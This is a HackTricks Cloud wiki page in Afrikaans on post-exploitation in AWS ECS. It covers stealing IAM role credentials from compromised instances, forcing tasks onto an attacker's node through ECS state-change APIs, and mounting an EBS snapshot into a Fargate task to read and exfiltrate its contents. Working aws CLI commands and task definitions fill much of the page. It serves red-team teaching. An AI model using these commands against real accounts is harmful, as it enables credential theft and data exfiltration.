AWS - ECS Post Exploitation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
ECS
Vir meer inligting, sien:
Gasheer IAM-rolle
In ECS kan ’n IAM role aan die taak toegewys word wat binne die container loop. As die taak binne ’n EC2 instance gedraai word, sal die EC2 instance nog ’n IAM rol aan hom gekoppel hê.
Dit beteken dat as jy daarin slaag om ’n ECS instance te compromise, kan jy moontlik die IAM role wat aan die ECR en aan die EC2 instance gekoppel is bekom. Vir meer inligting oor hoe om daardie credentials te kry, sien:
Caution
IMDSv2 met ’n hop limit van 1 blokkeer nie awsvpc of host-networked tasks nie—slegs Docker bridge tasks sit ver genoeg weg sodat die responses uitsterf. Sien ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation vir die volledige aanval-werkvloei en omseil-notas. Onlangse Latacora research wys dat awsvpc en host tasks steeds host credentials haal selfs wanneer IMDSv2+h=1 afgedwing word.
Privesc to node to steal other containers creds & secrets
Bo en behalwe dit, gebruik EC2 docker om ECS tasks te laat loop, so as jy na die node kan ontsnap of toegang tot die docker socket kry, kan jy kyk watter ander containers bestuur word, en selfs in hulle inklim en hul gekoppelde IAM roles steel.
Maak containers op die huidige gasheer laat loop
Verder het die EC2 instance role gewoonlik genoeg permissions om die container instance state van die EC2 instances wat as nodes binne die cluster gebruik word, te update. ’n Aanvaller kan die state van ’n instance na DRAINING verander; daarna sal ECS al die tasks daaruit verwyder, en die take wat as REPLICA gedraai word, sal in ’n ander instance herbegin word, moontlik op die aanvaller se instance, sodat hy hul IAM roles en moontlik sensitiewe inligting binne die container kan steel.
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
Dieselfde tegniek kan uitgevoer word deur die EC2 instance uit die cluster te deregistreer. Dit is moontlik minder onopvallend, maar dit sal die tasks dwing om op ander instances uitgevoer te word:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
’n Finale tegniek om die heruitvoering van take af te dwing, is deur ECS aan te dui dat die taak of houer gestop is. Daar is 3 potensiële APIs om dit te doen:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
Steel sensitiewe inligting uit ECR-kontainers
Die EC2-instans sal waarskynlik ook die toestemming ecr:GetAuthorizationToken hê wat dit toelaat om images af te laai (jy kan daarin na sensitiewe inligting soek).
Koppel ’n EBS snapshot direk in ’n ECS-taak (configuredAtLaunch + volumeConfigurations)
Misbruik die inheemse ECS EBS-integrasie (2024+) om die inhoud van ’n bestaande EBS snapshot direk binne ’n nuwe ECS-taak/diens te koppel en die data van binne die kontainer te lees.
-
Benodig (minimum):
-
ecs:RegisterTaskDefinition
-
Een van: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
-
iam:PassRole on:
-
ECS infrastruktuurrol wat vir volumes gebruik word (policy:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task-rolle wat in die taakdefinisie genoem word
-
As die snapshot met ’n CMK geënkripteer is: KMS-permissies vir die infra-rol (die AWS-bestuurde beleid hierbo sluit die vereiste KMS-toestemmings vir AWS managed keys in).
-
Impak: Lees willekeurige skyfinhoud vanaf die snapshot (bv. databasislêers) binne die kontainer en exfiltreer dit via netwerk/logs.
Stappe (Fargate-voorbeeld):
- Skep die ECS infrastruktuurrol (indien dit nie bestaan nie) en heg die bestuurde beleid daaraan:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
- Registreer ’n taakdefinisie met ’n volume gemerk
configuredAtLaunchen mount dit in die container. Voorbeeld (druk die secret uit en slaap daarna):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
- Skep of werk ’n diens by en gee die EBS-snapskoot deur via
volumeConfigurations.managedEBSVolume(vereis iam:PassRole op die infra-rol). Voorbeeld:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- Wanneer die taak begin, kan die container die snapshot-inkhoud by die gekonfigureerde mount-pad lees (bv.
/loot). Exfiltrate via die taak se netwerk/logs.
Opruiming:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

